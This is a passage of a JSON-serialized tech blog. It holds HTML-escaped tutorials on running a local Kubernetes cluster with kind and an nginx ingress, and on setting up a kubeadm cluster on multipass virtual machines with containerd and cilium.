style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READY\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RESTARTS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NODE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NOMINATED\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NODE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READINESS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e GATES\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ehttpbin-5c5494967-2z5wz\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 1/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 48s\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 10.244.3.3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind-multinode-worker3\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ehttpbin-5c5494967-9lf47\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 1/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 72s\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 10.244.1.2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind-multinode-worker\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe can now use port forwarding to access it. \u003ccode\u003ehttpbin\u003c/code\u003e is exposed on \u003ccode\u003e8000\u003c/code\u003e so\nlets create port \u003ccode\u003e9000\u003c/code\u003e on our host that forwards to it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e port-forward\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e service/httpbin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 9000:8000\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eForwarding\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 127.0.0.1:9000\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eForwarding\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [::1]:9000 -\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e 80\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou can access it via:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e localhost:9000/get\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"args\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {},\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"headers\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Accept\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eUsing Ingress\u003c/h1\u003e\n\u003cp\u003eNow to use the ingress rather than port forwarding we create one additional\nresource, the \u003ccode\u003eIngress\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enetworking.k8s.io/v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eIngress\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin-ingress\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e annotations\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e nginx.ingress.kubernetes.io/rewrite-target\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/$2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e ingressClassName\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enginx\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e rules\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ehttp\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e paths\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003epath\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/httpbin(/|$)(.*)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pathType\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eImplementationSpecific\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e backend\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e service\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e port\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e number\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e8000\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThere are a few critical options here. The first is the annotation to rewrite\nthe path so it does not include \u003ccode\u003e/httpbin/\u003c/code\u003e when it sends the request to the\nservice and then the \u003ccode\u003epath\u003c/code\u003e and \u003ccode\u003epathType\u003c/code\u003e so it knows which paths to send to\nwhich service.\u003c/p\u003e\n\u003cp\u003eNow you should be able to hit your local host and get routed to your\nkubernetes service:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e localhost/httpbin/get\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSuccess! Now you have a multinode kubernetes cluster that has an ingress\ncontroller!\u003c/p\u003e\n\u003ch1\u003eNext Steps\u003c/h1\u003e\n\u003cp\u003eThe cluster can be used like a production cluster now for local\ndevelopment! You could setup Grafana, ArgoCD, etc. to run\ninside the cluster.\u003c/p\u003e","category":"Kubernetes","date":"2023-07-21T00:00:00Z","tags":["Linux","Kubernetes","DevOps","SRE"],"title":"Running a kubernetes cluster locally with kind"}]},"DevOps":{"count":4,"posts":[{"id":["2022","local_kubeadm_cluster"],"path":"2022/local_kubeadm_cluster","contentHtml":"\u003cp\u003eI am going to show you how to get a real kubernetes cluster setup locally on top of virtual\nmachines! I will be using multipass but feel free to use virtualbox, proxmox, or whatever your\nfavorite cloud provider is.\u003c/p\u003e\n\u003cp\u003ekubeadm is a production ready kubernetes install tool and I prefer to use it over minikube, kind,\netc. because it gives you a more real world experience for \u003cem\u003emanaging\u003c/em\u003e the kubernetes cluster.\nThis is not important if you are a user of the cluster but if you have to run your own this is\na great way to gain some daily experience.\u003c/p\u003e\n\u003cp\u003eThe kubernetes documentation on kubeadm is great and you can find it \u003ca href=\"https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/create-cluster-kubeadm/\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThe differences between this blog and the kubernetes docs is that they leave a lot of decisions\nup to the reader such as:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003echoosing a container runtime\u003c/li\u003e\n\u003cli\u003eSelecting and installing a CNI (container network interface)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI am going to be opinionated and make specific technology decisions such as using containerd and\ncilium so that you do not have to think about those decisions.\u003c/p\u003e\n\u003ch2\u003eGetting your Virtual Machines setup!\u003c/h2\u003e\n\u003cp\u003eThe minimum requirements for a control plane node in kubernetes is 2gb of RAM and 2 CPUs. Since\nwe actually want to be able to schedule workloads on the workers afterwards we are going to setup\na cluster that looks like this:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eControl Plane: 2gb RAM, 2 CPU\u003c/li\u003e\n\u003cli\u003eWorker: 4gb RAM, 2 CPU\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSince we will be using multipass to launch the nodes, we can do that now:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e multipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e launch\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -c\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 4G\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -d\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 10G\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e multipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e launch\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -c\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 4G\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -d\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 10G\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e worker\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e multipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eName\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e State\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IPv4\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Image\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 192.168.64.7\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ubuntu\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 22.04\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e LTS\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 192.168.64.8\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ubuntu\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 22.04\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e LTS\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow we can start working on our controlplane first, let us shell in:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e multipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e shell\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLet us first add the kubernetes repo to the system so we have access to all the kubernetes tools:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"deb http://apt.kubernetes.io/ kubernetes-xenial main\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/sources.list.d/kubernetes.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -fsSL\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://packages.cloud.google.com/apt/doc/apt-key.gpg\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e gpg\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --dearmor\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/trusted.gpg.d/k8s.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e update\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u0026#x26;\u0026#x26; \u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e upgrade\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow that our system is setup, we can move on to getting a container runtime.\u003c/p\u003e\n\u003ch2\u003eGetting your Container Runtime!\u003c/h2\u003e\n\u003cp\u003eBefore we start pulling in kubernetes components we need to get a container runtime setup on the\nmachine. We are going to use containerd for this purpose. You can view the docs of for it\n\u003ca href=\"https://github.com/containerd/containerd/blob/main/docs/getting-started.md\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eWhich will download the latest binary and set it up. I am going to walk you through how to do it\nusing the version packaged with Ubuntu which could be older than the latest release.\u003c/p\u003e\n\u003cp\u003eFirst thing we want to do is configure the networking to allow iptables to manage:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/modules-load.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003eoverlay\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.bridge.bridge-nf-call-ip6tables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.bridge.bridge-nf-call-iptables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.ipv4.ip_forward = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe also need to disable some default systemd settings for \u003ccode\u003erp_filter\u003c/code\u003e because\nthey are not compatible with cilium. See the bug report\n\u003ca href=\"https://github.com/cilium/cilium/commit/cabc6581b8128681f4ed23f8d6dc463180eea61e\"\u003ehere\u003c/a\u003e\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sed\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -i\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '/net.ipv4.conf.*.rp_filter/d'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -ril\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /usr/lib/sysctl.d/\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sysctl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -a\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e grep\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e awk\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '{print $1\" = 0\"}'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan 